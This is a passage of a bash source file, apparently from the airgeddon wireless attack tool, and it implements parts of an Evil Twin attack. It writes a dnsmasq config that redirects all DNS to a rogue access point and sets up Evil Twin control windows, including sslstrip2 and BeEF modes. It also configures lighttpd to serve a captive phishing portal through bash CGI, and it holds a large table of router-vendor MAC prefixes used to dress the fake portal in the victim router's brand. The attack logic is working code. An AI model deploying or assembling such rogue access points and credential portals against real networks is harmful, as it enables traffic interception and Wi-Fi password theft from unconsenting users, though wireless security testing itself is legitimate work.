				for client in "\${DHCPCLIENTS[@]}"; do
					[[ \${client} =~ ^DHCPACK[[:space:]]on[[:space:]]([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})[[:space:]]to[[:space:]](([a-fA-F0-9]{2}:?){5,6}).* ]] && client_ip="\${BASH_REMATCH[1]}" && client_mac="\${BASH_REMATCH[2]}"
					if [[ " \${client_ips[*]} " != *" \${client_ip} "* ]]; then
						client_hostname=""
						[[ \${client} =~ .*(\(.+\)).* ]] && client_hostname="\${BASH_REMATCH[1]}"
						if [[ -z "\${client_hostname}" ]]; then
							echo -ne "\t\${client_ip} \${client_mac}"
						else
							echo -ne "\t\${client_ip} \${client_mac} \${client_hostname}"
						fi

						if [[ ! " \${sounded_ips[*]} " =~ \${client_ip} ]]; then
							if [ "\${able_to_play_sounds}" -eq 1 ]; then
								(play -q -n synth 0.5 sine 300 2> /dev/null) &
							fi
							sounded_ips+=("\${client_ip}")
						fi

						if [ "\${right_arping}" -eq 1 ]; then
							if "${right_arping_command}" -C 3 -I "${interface}" -w 5 -p -q "\${client_ip}" 2> /dev/null; then
								echo -ne " ${blue_color}${et_misc_texts[${language},29]}${green_color} ✓${normal_color}"
							else
								echo -ne " ${blue_color}${et_misc_texts[${language},29]}${red_color} ✘${normal_color}"
							fi
						fi

						if [ "\${et_heredoc_mode}" = "et_captive_portal" ]; then
							if grep -qE "^\${client_ip} 200 GET /${pixelfile}" "${tmpdir}${webserver_log}" > /dev/null 2>&1; then
								echo -ne " ${blue_color}${et_misc_texts[${language},28]}${green_color} ✓${normal_color}"
							else
								echo -ne " ${blue_color}${et_misc_texts[${language},28]}${red_color} ✘${normal_color}"
							fi
						fi
						echo -ne "\n"
					fi
					client_ips+=("\${client_ip}")
				done
			fi

			echo -ne "\033[K\033[u"
			sleep 1

			current_window_size="\$(tput cols)x\$(tput lines)"
			if [ "\${current_window_size}" != "\${stored_window_size}" ]; then
				stored_window_size="\${current_window_size}"
				clear
			fi
		done
	EOF

	exec 7>&-
	sleep 1
}

#Launch dnsmasq dns black hole for captive portal Evil Twin attack
function launch_dns_blackhole() {

	debug_print

	recalculate_windows_sizes

	rm -rf "${tmpdir}${dnsmasq_file}" > /dev/null 2>&1

	{
	echo -e "interface=${interface}"
	echo -e "address=/#/${et_ip_router}"
	echo -e "port=${dns_port}"
	echo -e "bind-dynamic"
	echo -e "except-interface=${loopback_interface}"
	echo -e "address=/google.com/172.217.5.238"
	echo -e "address=/gstatic.com/172.217.5.238"
	echo -e "no-dhcp-interface=${interface}"
	echo -e "log-queries"
	echo -e "no-daemon"
	echo -e "no-resolv"
	echo -e "no-hosts"
	} >> "${tmpdir}${dnsmasq_file}"

	manage_output "+j -bg \"#000000\" -fg \"#0000FF\" -geometry ${g4_middleright_window} -T \"DNS\"" "${optional_tools_names[11]} -C \"${tmpdir}${dnsmasq_file}\"" "DNS"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		et_processes+=($!)
	else
		get_tmux_process_id "${optional_tools_names[11]} -C \"${tmpdir}${dnsmasq_file}\""
		et_processes+=("${global_process_pid}")
		global_process_pid=""
	fi
}

#Launch control window for Enterprise attacks
function launch_enterprise_control_window() {

	debug_print

	recalculate_windows_sizes
	manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${g1_topright_window} -T \"Control\"" "bash \"${tmpdir}${control_enterprise_file}\"" "Control" "active"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		enterprise_process_control_window=$!
	else
		get_tmux_process_id "bash \"${tmpdir}${control_enterprise_file}\""
		enterprise_process_control_window="${global_process_pid}"
		global_process_pid=""
	fi
}

#Launch control window for Evil Twin attacks
function launch_et_control_window() {

	debug_print

	recalculate_windows_sizes
	case ${et_mode} in
		"et_onlyap")
			control_scr_window_position=${g1_topright_window}
		;;
		"et_sniffing")
			control_scr_window_position=${g3_topright_window}
		;;
		"et_captive_portal")
			control_scr_window_position=${g4_topright_window}
		;;
		"et_sniffing_sslstrip2")
			control_scr_window_position=${g3_topright_window}
		;;
		"et_sniffing_sslstrip2_beef")
			control_scr_window_position=${g4_topright_window}
		;;
	esac
	manage_output "-hold -bg \"#000000\" -fg \"#FFFFFF\" -geometry ${control_scr_window_position} -T \"Control\"" "bash \"${tmpdir}${control_et_file}\"" "Control" "active"
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		et_process_control_window=$!
	else
		get_tmux_process_id "bash \"${tmpdir}${control_et_file}\""
		et_process_control_window="${global_process_pid}"
		global_process_pid=""
	fi
}

#Create configuration file for lighttpd
function set_webserver_config() {

	debug_print

	rm -rf "${tmpdir}${webserver_file}" > /dev/null 2>&1
	rm -rf "${tmpdir}${webserver_log}" > /dev/null 2>&1

	{
	echo -e "server.document-root = \"${tmpdir}${webdir}\"\n"
	echo -e "server.modules = ("
	echo -e "\"mod_auth\","
	echo -e "\"mod_cgi\","
	echo -e "\"mod_redirect\","
	echo -e "\"mod_accesslog\""
	echo -e ")\n"
	echo -e "\$HTTP[\"host\"] =~ \"(.*)\" {"
	echo -e "url.redirect = ( \"^/index.htm$\" => \"/\")"
	echo -e "url.redirect-code = 302"
	echo -e "}"
	echo -e "server.bind = \"${et_ip_router}\""
	echo -e "server.port = ${www_port}\n"
	echo -e "index-file.names = (\"${indexfile}\")"
	echo -e "server.error-handler-404 = \"/\"\n"
	echo -e "mimetype.assign = ("
	echo -e "\".css\" => \"text/css\","
	echo -e "\".htm\" => \"text/html\","
	echo -e "\".html\" => \"text/html\","
	echo -e "\".js\" => \"text/javascript\""
	echo -e ")\n"
	echo -e "cgi.assign = ("
	echo -e "\".htm\" => \"/bin/bash\""
	} >> "${tmpdir}${webserver_file}"
	if [ "${customportals_php_as_cgi}" -eq 1 ]; then
		echo -e ",\".php\" => \"/bin/bash\"" >> "${tmpdir}${webserver_file}"
	fi
	{
	echo -e ")\n"
	echo -e "accesslog.filename = \"${tmpdir}${webserver_log}\""
	echo -e "accesslog.escaping = \"default\""
	echo -e "accesslog.format = \"%h %s %r %v%U %t '%{User-Agent}i'\""
	echo -e "\$HTTP[\"remote-ip\"] == \"${loopback_ip}\" { accesslog.filename = \"\" }"
	} >> "${tmpdir}${webserver_file}"

	sleep 2
}

#Prepare captive portal data based on vendor if apply
function prepare_captive_portal_data() {

	debug_print

	if [ "${advanced_captive_portal}" -eq 1 ]; then

		declare -gA cp_router_vendors=(
										["Alfa_Networks"]="00C0CA"
										["Arris"]="0000C5 0000CA 0003E0 0004BD 00080E 000B06 000CE5 000E5C 000F9F 000FCC 00111A 001180 0011AE 001225 00128A 0012C9 001311 001371 001404 00149A 0014E8 00152F 001596 00159A 0015A2 0015A3 0015A4 0015A8 0015CE 0015CF 0015D0 0015D1 001626 001675 0016B5 001700 001784 0017E2 0017EE 0018A4 0018C0 00192C 00195E 0019A6 0019C0 001A1B 001A66 001A77 001AAD 001ADB 001ADE 001B52 001BDD 001C11 001C12 001CC1 001CC3 001CFB 001D6B 001DBE 001DCD 001DCE 001DCF 001DD0 001DD1 001DD2 001DD3 001DD4 001DD5 001DD6 001E46 001E5A 001E8D 001F7E 001FC4 002040 00211E 002136 002143 002180 002210 0022B4 00230B 002374 002375 002395 0023A2 0023A3 0023AF 0023ED 0023EE 002493 002495 0024A0 0024A1 0024C1 0025F1 0025F2 002636 002641 002642 0026BA 0026D9 003676 005094 0050E3 00909C 00ACE0 00D037 00D088 00E06F 044E5A 083E0C 0CB771 0CEAC9 0CF893 1005B1 105611 10868C 109397 145BD1 14ABF0 14C03E 14CFE2 14D4FE 1820D5 1835D1 189C27 18B81F 1C1448 1C1B68 203D66 207355 20E564 20F19E 20F375 240A63 287AEE 28C87A 2C1DB8 2C584F 2C7E81 2C9569 2C9924 2C9E5F 2CA17D 306023 341FE4 347A60 384C90 386BBB 38700C 3C0461 3C36E4 3C438E 3C754A 3C7A8A 3CDFA9 400D10 402B50 404C77 407009 40B7F3 40FC89 4434A7 446AB7 44AAF5 44E137 484EFC 48D343 4C1265 4C38D8 5075F1 509551 5465DE 54E2E0 5819F8 5856E8 5C571A 5C8FE0 5CB066 5CE30E 601971 608CE6 6092F5 60D248 6402CB 641269 6455B1 64ED57 6C639C 6CA604 6CC1D2 6CCA08 704FB8 705425 707630 707E43 7085C6 70B14E 745612 748A0D 74E7C6 74EAE8 74F612 7823AE 78719C 789684 7C2634 7CBFB1 8096B1 80E540 80F503 8461A0 8496D8 84BB69 84E058 8871B1 88964E 88EF16 8C09F4 8C5A25 8C5BF0 8C61A3 8C7F3B 900DCB 901ACA 903EAB 909D7D 90B134 90C792 946269 94877C 948FCF 94CCB9 94E8C5 984B4A 986B3D 98F781 98F7D7 9C3426 9CC8FC A055DE A0687E A0C562 A41588 A47AA4 A49813 A4ED4E A811FC A8705D A897CD A89FEC A8F5DD ACB313 ACDB48 ACEC80 ACF8CC B077AC B083D6 B0935B B0DAF9 B4F2E8 B81619 BC2E48 BC644B BCCAB5 C005C2 C089AB C0A00D C0C522 C83FB4 C85261 C863FC C8AA21 CC65AD CC75E2 CC7D37 CCA462 D039B3 D0E54D D404CD D40598 D40AA9 D42C0F D43FCB D4AB82 D4B27A D82522 DC4517 E02202 E0B70A E0B7B1 E45740 E46449 E48399 E49F1E E83381 E83EFC E86D52 E8825B E8892C E8ED05 EC7097 ECA940 F0AF85 F0FCC8 F40E83 F80BBE F82DC0 F87B7A F88B37 F8A097 F8EDA5 F8F532 FC51A4 FC6FB7 FC8E7E FCAE34 DC4517 E46449 E8ED05 FCAE34"
										["Arista"]="001C73 28993A 30862D 444CA8 7483EF 985D82 AC3D94 C0D682 FC59C0 FCBD67"
										["Aruba"]="000B86 001A1E 00246C 04BD88 104F58 186472 204C03 2462CE 24DEC6 3821C7 40E3D6 64E881 6CF37F 703A0E 7C573C 84D47E 883A30 9020C2 94B40F 9C1C12 ACA31E B45D50 B83A5A B8D4E7 BC9FE4 CCD083 D015A6 D0D3E0 D8C7C8 E82689 F05C19 F42E7F F860F0"
										["Asus"]="000C6E 000EA6 00112F 0011D8 0013D4 0015F2 001731 0018F3 001A92 001BFC 001D60 001E8C 001FC6 002215 002354 00248C 002618 00E018 049226 04D4C4 04D9F5 08606E 086266 08BFB8 0C9D92 107B44 10BF48 10C37B 14DAE9 14DDA9 1831BF 1C872C 1CB72C 20CF30 244BFE 2C4D54 2C56DC 2CFDA1 305A3A 3085A9 3497F6 382C4A 38D547 40167E 40B076 485B39 4CEDFB 50465D 5404A6 54A050 6045CB 60A44C 704D7B 708BCD 74D02B 7824AF 88D7F6 90E6BA 9C5C8E A85E45 AC220B AC9E17 B06EBF BCAEC5 BCEE7B C86000 D017C2 D45D64 D850E6 E03F49 E0CB4E F07959 F46D04 F832E4 FCC233"
										["AVMFritzBox"]="2C3AFD 2C91AB 3810D5 3C3712 444E6D 5C4979 7CFF4D 989BCB C80E14 CCCE1E DC396F E0286D E8DF70 F0B014"
										["Belkin"]="001150 00173F 001CDF 002275 08863B 149182 24F5A2 302303 58EF68 6038E0 94103E 944452 B4750E C05627 C4411E EC1A59"
										["CBN"]="342CC4 38437D 546751 5C353B 6802B8 905C44 AC2205 DC537C"
										["Cisco"]="00000C 000142 000143 000163 000164 000196 000197 0001C7 0001C9 000216 000217 00023D 00024A 00024B 00027D 00027E 0002B9 0002BA 0002FC 0002FD 000331 000332 00036B 00036C 00039F 0003A0 0003E3 0003E4 0003FD 0003FE 000427 000428 00044D 00044E 00046D 00046E 00049A 00049B 0004C0 0004C1 0004DD 0004DE 000500 000501 000531 000532 00055E 00055F 000573 000574 00059A 00059B 0005DC 0005DD 000628 00062A 000652 000653 00067C 0006C1 0006D6 0006D7 0006F6 00070D 00070E 00074F 000750 00077D 000784 000785 0007B3 0007B4 0007EB 0007EC 000820 000821 00082F 000830 000831 000832 00087C 00087D 0008A3 0008A4 0008C2 0008E2 0008E3 000911 000912 000943 000944 00097B 00097C 0009B6 0009B7 0009E8 0009E9 000A41 000A42 000A8A 000A8B 000AB7 000AB8 000AF3 000AF4 000B45 000B46 000B5F 000B60 000B85 000BBE 000BBF 000BFC 000BFD 000C30 000C31 000C85 000C86 000CCE 000CCF 000D28 000D29 000D65 000D66 000DBC 000DBD 000DEC 000DED 000E38 000E39 000E83 000E84 000ED6 000ED7 000F23 000F24 000F34 000F35 000F8F 000F90 000FF7 000FF8 001007 00100B 00100D 001011 001014 00101F 001029 00102F 001054 001079 00107B 0010A6 0010F6 0010FF 001120 001121 00115C 00115D 001192 001193 0011BB 0011BC 001200 001201 001243 001244 00127F 001280 0012D9 0012DA 001319 00131A 00135F 001360 00137F 001380 0013C3 0013C4 00141B 00141C 001469 00146A 0014A8 0014A9 0014F1 0014F2 00152B 00152C 001562 001563 0015C6 0015C7 0015F9 0015FA 001646 001647 00169C 00169D 0016C7 0016C8 00170E 00170F 00173B 001759 00175A 001794 001795 0017DF 0017E0 001818 001819 001873 001874 0018B9 0018BA 001906 001907 00192F 001930 001955 001956 0019A9 0019AA 0019E7 0019E8 001A2F 001A30 001A6C 001A6D 001AA1 001AA2 001AE2 001AE3 001B0C 001B0D 001B2A 001B2B 001B53 001B54 001B8F 001B90 001BD4 001BD5 001C0E 001C0F 001C57 001C58 001CB0 001CB1 001CF6 001CF9 001D45 001D46 001D70 001D71 001DA1 001DA2 001DE5 001DE6 001E13 001E14 001E49 001E4A 001E79 001E7A 001EBD 001EBE 001EF6 001EF7 001F26 001F27 001F6C 001F6D 001F9D 001F9E 001FC9 001FCA 00211B 00211C 002155 002156 0021A0 0021A1 0021D7 0021D8 00220C 00220D 002255 002256 002290 002291 0022BD 0022BE 002304 002305 002333 002334 00235D 00235E 0023AB 0023AC 0023EA 0023EB 002413 002414 002450 002451 002497 002498 0024C3 0024C4 0024F7 0024F9 002545 002546 002583 002584 0025B4 0025B5 00260A 00260B 002651 002652 002698 002699 0026CA 0026CB 00270C 00270D 002790 0027E3 0029C2 002A10 002A6A 002CC8 002F5C 003019 003024 003040 003071 003078 00307B 003080 003085 003094 003096 0030A3 0030B6 0030F2 003217 00351A 0038DF 003A7D 003A98 003A99 003A9A 003A9B 003A9C 003C10 00400B 004096 0041D2 00425A 004268 00451D 00500B 00500F 005014 00502A 00503E 005050 005053 005054 005073 005080 0050A2 0050A7 0050BD 0050D1 0050E2 0050F0 00562B 0057D2 0059DC 005D73 005F86 006009 00602F 00603E 006047 00605C 006070 006083 0062EC 006440 006BF1 006CBC 007278 007686 00778D 007888 007E95 0081C4 008731 008764 008A96 008E73 00900C 009021 00902B 00905F 00906D 00906F 009086 009092 0090A6 0090AB 0090B1 0090BF 0090D9 0090F2 009AD2 009E1E 00A289 00A2EE 00A38E 00A3D1 00A5BF 00A6CA 00A742 00AA6E 00AF1F 00B04A 00B064 00B08E 00B0C2 00B0E1 00B1E3 00B670 00B771 00B8B3 00BC60 00BE75 00BF77 00C164 00C1B1 00C88B 00CAE5 00CCFC 00D006 00D058 00D063 00D079 00D090 00D097 00D0BA 00D0BB 00D0BC 00D0C0 00D0D3 00D0E4 00D0FF 00D6FE 00D78F 00DA55 00DEFB 00E014 00E01E 00E034 00E04F 00E08F 00E0A3 00E0B0 00E0F7 00E0F9 00E0FE 00E16D 00EABD 00EBD5 00EEAB 00F28B 00F663 00F82C 00FCBA 00FD22 00FEC8 042AE2 045FB9 046273 046C9D 04C5A4 04DAD2 04EB40 04FE7F 081735 081FF3 084FA9 084FF9 0896AD 08CC68 08CCA7 08D09F 08ECF5 0C1167 0C2724 0C6803 0C75BD 0C8525 0CD0F8 0CD996 0CF5A4 1005CA 108CCF 10B3C6 10B3D5 10B3D6 10BD18 10F311 10F920 14169D 14A2A0 18339D 188090 188B45 188B9D 189C5D 18E728 18EF63 1C17D3 1C1D86 1C6A7A 1CAA07 1CDEA7 1CDF0F 1CE6C7 1CE85D 203706 203A07 204C9E 20BBC0 2401C7 24169D 247E12 24B657 24E9B3 2834A2 285261 286F7F 2893FE 28940F 28AC9E 28C7CE 2C01B5 2C0BE9 2C3124 2C3311 2C36F8 2C3ECF 2C3F38 2C4F52 2C542D 2C5741 2C5A0F 2C73A0 2C86D2 2CABEB 2CD02D 2CF89B 3037A6 308BB2 30E4DB 30F70D 346288 346F90 34A84E 34BDC8 34DBFD 34ED1B 34F8E7 380E4D 381C1A 382056 3890A5 38ED18 3C08F6 3C0E23 3C13CC 3C410E 3C510E 3C5731 3C5EC3 3CCE73 3CDF1E 40017A 405539 40A6E8 40CE24 40F4EC 4403A7 442B03 44ADD9 44D3CA 44E4D9 4C0082 4C4E35 4C710C 4C710D 4C776D 4CA64D 4CBC48 4CE175 4CE176 500604 5006AB 500F80 5017FF 501CB0 501CBF 502FA8 503DE5 5057A8 5061BF 5067AE 508789 50F722 544A00 5475D0 54781A 547C69 547FEE 5486BC 548ABA 54A274 580A20 5835D9 588D09 58971E 5897BD 58AC78 58BC27 58BFEA 58F39C 5C5015 5C5AC7 5C710D 5C838F 5CA48A 5CA62D 5CE176 5CFC66 60735C 6400F1 641225 64168D 649EF3 64A0E7 64AE0C 64D814 64D989 64E950 64F69D 682C7B 683B78 6886A7 6899CD 689CE2 68BC0C 68BDAB 68CAE4 68EFBD 6C2056 6C310E 6C410E 6C416A 6C504D 6C5E3B 6C6CD3 6C710D 6C8BD3 6C9989 6C9CED 6CAB05 6CB2AE 6CDD30 6CFA89 7001B5 700B4F 700F6A 70105C 7018A7 701F53 703509 70617B 70695A 706BB9 706D15 706E6D 70708B 7079B3 707DB9 708105 70B317 70C9C6 70CA9B 70D379 70DB98 70DF2F 70E422 70EA1A 70F096 70F35A 7426AC 74860B 7488BB 74A02F 74A2E6 7802B1 780CF0 78725D 78BAF9 78BC1A 78DA6E 7C0ECE 7C210D 7C210E 7C310E 7C69F6 7C95F3 7CAD4F 7CAD74 802DBF 80E01D 80E86F 843DC6 8478AC 84802D 848A8D 84B261 84B517 84B802 881DFC 8843E1 885A92 887556 88908D 88F031 88F077 8C604F 8CB64F 9077EE 94D469 9C4E20 9C57AD 9CAFCA 9CE176 A0239F A03D6F A0554F A09351 A0B439 A0CF5B A0E0AF A0ECF9 A0F849 A40CC3 A41875 A44C11 A4530E A45630 A46C2A A48873 A4934C A4B239 A4B439 A80C0D A89D21 A8B1D4 A8B456 AC3A67 AC4A56 AC4A67 AC7A56 AC7E8A ACA016 ACF2C5 ACF5E6 B000B4 B02680 B07D47 B08BCF B0907E B0AA77 B0FAEB B40216 B41489 B4A4E3 B4A8B9 B4DE31 B4E9B0 B83861 B8621F B8BEBF BC1665 BC16F5 BC26C7 BC4A56 BC5A56 BC671C BCC493 BCF1F2 C014FE C0255C C0626B C064E4 C067AF C07BBC C08C60 C40ACB C4143C C444A0 C46413 C471FE C47295 C47D4F C4B239 C4B36A C4B9CD C4C603 C4F7D5 C80084 C84C75 C89C1D CC167E CC46D6 CC5A53 CC70ED CC7F75 CC7F76 CC8E71 CC9070 CC9891 CCD539 CCD8C1 CCEF48 D0574C D072DC D0A5A6 D0C282 D0C789 D0D0FD D0EC35 D42C44 D46A35 D46D50 D4789B D48CB5 D4A02A D4AD71 D4ADBD D4C93C D4D748 D4E880 D824BD D867D9 D8B190 DC3979 DC7B94 DC8C37 DCA5F4 DCCEC1 DCEB94 DCF719 E00EDA E02F6D E05FB9 E0899D E0ACF1 E0D173 E4AA5D E4C722 E4D3F1 E80462 E84040 E86549 E8B748 E8BA70 E8EDF3 EC1D8B EC3091 EC4476 ECBD1D ECC882 ECE1A9 F02572 F02929 F07816 F07F06 F09E63 F0B2E5 F0F755 F40F1B F41FC2 F44E05 F47F35 F4ACC1 F4BD9E F4CFE2 F4DBE6 F4EA67 F80BCB F80F6F F84F57 F866F2 F86BD9 F872EA F87B20 F8A5C5 F8B7E2 F8C288 FC589A FC5B39 FC9947 FCFBFB"
										["Comtrend"]="001D20 0030DA 1C6499 3872C0 64680C C8D12A D8B6B7 F88E85"
										["D-Link"]="00AD24 0CB6D2 1062EB 10BEF5 14D64D 180F76 1C5F2B 1C7EE5 1CAFF7 1CBDB9 28107B 283B82 3C1E04 409BCD 48EE0C 54B80A 58D56E 60634C 6C198F 6C7220 7062B8 74DADA 78321B 78542E 802689 84C9B2 908D78 9094E4 9CD643 A0AB1B ACF1DF B0C554 B8A386 BC0F9A BCF685 C0A0BB C412F5 C4A81D C4E90A C8BE19 C8D3A3 CCB255 D8FEE3 E46F13 E8CC18 EC2280 ECADE0 F0B4D2 F48CEB F8E903 FC7516"
										["Edimax"]="0000B4 000E2E 001F1F 0050FC 08BEAC 74DA38 801F02"
										["Fortinet"]="00090F 000CE6 04D590 085B0E 704CA5 906CAC E023FF E81CBA"
										["Hewlett-Packard"]="0001E6 0001E7 0002A5 0004EA 000802 000883 0008C7 000A57 000BCD 000D9D 000E7F 000EB3 000F20 000F61 001083 0010E3 00110A 001185 001279 001321 001438 0014C2 001560 001635 001708 0017A4 001871 0018FE 0019BB 001A4B 001B78 001CC4 001E0B 001F29 00215A 002264 00237D 002481 0025B3 002655 00306E 0030C1 004E35 00508B 0060B0 00805F 0080A0 009C02 00FD45 040973 080009 082E5F 089734 08F1EA 101F74 10604B 1062E5 10E7C6 1402EC 1458D0 186024 18A905 1C98EC 1CC1DE 20677C 20A6CD 24BE05 24F27F 288023 28924A 2C233A 2C27D7 2C4138 2C44FD 2C59E5 2C768A 308D99 30E171 3464A9 34FCB9 3817C3 3863BB 38EAA7 3C4A92 3C5282 3CA82A 3CD92B 40A8F0 40B034 40B93C 441EA1 443192 4448C1 480FCF 484AE9 48BA4E 48DF37 4CAEA3 5065F3 548028 5820B1 5C8A38 5CB901 5CBA2C 643150 645106 68B599 6C3BE5 6CC217 70106F 705A0F 7446A0 784859 78ACC0 78E3B5 78E7D1 8030E0 808DB7 80C16E 80CE62 80E82C 843497 84A93E 8851FB 88E9A4 8CDCD4 904C81 941882 943FC2 9440C9 9457A5 94F128 984BE1 98E7F4 98F2B3 9C7BEF 9C8CD8 9C8E99 9CB654 9CDC71 A01D48 A02BB8 A0481C A08CFD A0B3CC A0D3C1 A45D36 A8BD27 AC162D ACE2D3 B00CD1 B05ADA B0B867 B47AF1 B499BA B4B52F B4B686 B88303 B8AF67 BCEAFA C4346B C46516 C8B5AD C8CBB8 C8D3FF C8D9D2 CC3E5F D06726 D07E28 D0BF9C D48564 D4C9EF D4F5EF D89403 D89D67 D8D385 DC4A3E DC680C E0071B E4115B E4E749 E83935 E8F724 EC8EB5 EC9A74 EC9B8B ECB1D7 ECEBB8 F0921C F40343 F430B9 F43909 F4CE46 F8B46A FC15B4 FC3FDB"
										["Huawei"]="001882 001E10 002568 00259E 002EC7 0034FE 00464B 005A13 00664B 009ACD 00BE3B 00E0FC 00F81C 04021F 0425C5 042758 043389 044A6C 044F4C 047503 047970 04885F 048C16 049FCA 04B0E7 04BD70 04C06F 04F938 04FE8D 0819A6 08318B 084F0A 086361 087A4C 08C021 08E84F 0C2C54 0C37DC 0C41E9 0C45BA 0C704A 0C8FFF 0C96BF 0CB527 0CC6CC 0CD6BD 100177 101B54 104400 104780 105172 10B1F8 10C172 10C3AB 10C61F 1409DC 1413FB 143004 143CC3 14579F 145F94 149D09 14A0F8 14A51A 14B968 14D11F 14D169 18022D 183D5E 185644 18C58A 18CF24 18D276 18DED7 1C151F 1C1D67 1C20DB 1C4363 1C599B 1C6758 1C7F2C 1C8E5C 1CAECB 1CB796 2008ED 200BC7 20283E 202BC1 203DB2 2054FA 20658E 20A680 20AB48 20DA22 20F17C 20F3A3 2400BA 240995 24166D 241FA0 242E02 243154 244427 244C07 2469A5 247F3C 249EAB 24A52C 24BCF8 24DA33 24DBAC 24DF6A 24FB65 2811EC 283152 283CE4 2841C6 285FDB 286ED4 289E97 28A6DB 28B448 28DEE5 28E34E 2C1A01 2C55D3 2C58E8 2C97B1 2C9D1E 2CAB00 2CCF58 304596 307496 308730 30A1FA 30C50F 30D17E 30E98E 30F335 30FBB8 30FD65 3400A3 340A98 3412F9 341E6B 342912 342EB6 346AC2 346BD3 347916 34A2A2 34B354 34CDBE 38378B 3847BC 384C4F 38881E 38BC01 38EB47 38F889 38FB14 3C15FB 3C306F 3C4711 3C678C 3C7843 3C9D56 3CCD5D 3CDFBD 3CE824 3CF808 3CFA43 404D8E 407D0F 40CBA8 40EEDD 44004D 4455B1 4459E3 446747 446A2E 446EE5 447654 4482E5 44A191 44C346 44D791 480031 482CD0 483C0C 483FE9 48435A 4846FB 485702 486276 487B6B 488EEF 48AD08 48D539 48DB50 48DC2D 48F8DB 48FD8E 4C1FCC 4C5499 4C8BEF 4CB16C 4CD0CB 4CD1A1 4CF55B 4CF95D 4CFB45 50016B 5001D9 5004B8 501D93 50464A 505DAC 50680A 506F77 509F27 50A72B 541310 5425EA 5434EF 5439DF 54511B 548998 549209 54A51B 54B121 54BAD6 581F28 582575 582AF7 58605F 587F66 58BAD4 58D759 58F987 5C0339 5C0979 5C4CA9 5C546D 5C7D5E 5C9157 5CA86A 5CB395 5CB43E 5CC307 5CE883 5CF96A 600810 60123C 602E20 607ECD 608334 60D755 60DE44 60DEF3 60E701 60F18A 60FA9D 6416F0 642CAC 643E8C 646D6C 64A651 684AAE 6889C1 688F84 68A03E 68A0F6 68A828 68CC6E 68E209 6C1632 6CB749 6CEBB6 70192F 702F35 7054F5 70723C 707990 707BE8 708A09 708CB6 70A8E3 70C7F2 70D313 70FD45 745909 745AAA 7460FA 74882A 749D8F 74A063 74A528 74C14F 74D21D 7817BE 781DBA 785773 785860 786256 786A89 78B46A 78D752 78F557 78F5FD 7C11CB 7C1CF1 7C6097 7C7668 7C7D3D 7C942A 7CA177 7CA23E 7CB15D 7CC385 7CD9A0 801382 8038BC 804126 806933 80717A 807D14 80B575 80B686 80D09B 80D4A5 80E1BF 80FB06 8421F1 843E92 8446FE 844765 845B12 847637 849FB5 84A8E4 84A9C4 84AD58 84BE52 84DBAC 88108F 881196 8828B3 883FD3 884033 88403B 884477 8853D4 886639 888603 88A2D7 88BCC1 88BFE4 88CEFA 88CF98 88E3AB 88F56E 88F872 8C0D76 8C15C7 8C2505 8C34FD 8C426D 8C683A 8C6D77 8CE5EF 8CEBC6 8CFD18 900325 9016BA 90173F 9017AC 9017C8 902BD2 903FEA 904E2B 90671C 909497 9400B0 94049C 940B19 940E6B 942533 94772B 94D00D 94DBDA 94E7EA 94FE22 9835ED 9844CE 989C57 98E7F5 9C1D36 9C28EF 9C37F4 9C52F8 9C69D1 9C713A 9C741A 9C7DA3 9CB2B2 9CC172 9CE374 A0086F A01C8D A057E3 A08CF8 A08D16 A0A33B A0DF15 A0F479 A400E2 A416E7 A47174 A4933F A49947 A49B4F A4BA76 A4BDC4 A4BE2B A4C64F A4CAA0 A4DCBE A80C63 A82BCD A8494D A87D12 A8C83A A8CA7B A8E544 A8F5AC AC075F AC4E91 AC6089 AC6175 AC751D AC853D AC8D34 AC9232 ACB3B5 ACCF85 ACE215 ACE342 ACE87B ACF970 B00875 B05508 B05B67 B0761B B08900 B0E17E B0E5ED B0EB57 B40931 B41513 B43052 B44326 B46E08 B48655 B4B055 B4CD27 B4F58E B4FBF9 B808D7 B89436 B8BC1B B8C385 B8E3B1 BC25E0 BC3D85 BC3F8F BC620E BC7574 BC7670 BC9C31 BCB0E7 BCE265 C07009 C0BFC0 C0F4E6 C0FFA8 C40528 C40683 C4072F C4447D C4473F C467D1 C486E9 C49F4C C4A402 C4B8B4 C4F081 C4FF1F C80CC8 C81451 C81FBE C850CE C85195 C88D83 C894BB C8A776 C8C2FA C8C465 C8D15E CC0577 CC53B5 CC64A6 CC96A0 CCA223 CCBBFE CCCC81 CCD73C D016B4 D02DB3 D03E5C D065CA D06F82 D07AB5 D0C65B D0D04B D0D783 D0EFC1 D0FF98 D440F0 D44649 D4612E D462EA D46AA8 D46BA6 D46E5C D494E8 D4A148 D4B110 D4F9A1 D82918 D8490B D89B3B D8C771 DC094C DC16B2 DC21E2 DC729B DC9088 DC9914 DCC64B DCD2FC DCD916 DCEE06 E00084 E0191D E0247F E02481 E02861 E03676 E09796 E0A3AC E0CC7A E40EEE E419C1 E43493 E435C8 E43EC6 E468A3 E472E2 E47E66 E48326 E4A7C5 E4A8B6 E4C2D1 E4FB5D E4FDA1 E8088B E84DD0 E86819 E884C6 E8ABF3 E8BDD1 E8CD2D EC233D EC388F EC4D47 EC5623 EC8914 EC8C9A ECC01B ECCB30 F00FEC F02FA7 F033E5 F03F95 F04347 F063F9 F09838 F09BB8 F0C850 F0E4A2 F41D6B F44C7F F4559C F4631F F47960 F48E92 F49FF3 F4A4D6 F4B78D F4BF80 F4C714 F4CB52 F4DCF9 F4DEAF F4E3FB F4E5F2 F80113 F823B2 F83DFF F84ABF F86EEE F87588 F898B9 F898EF F89A78 F8BF09 F8C39E F8E811 FC1BD1 FC3F7C FC48EF FC8743 FC9435 FCAB90 FCBCD1 FCE33C"
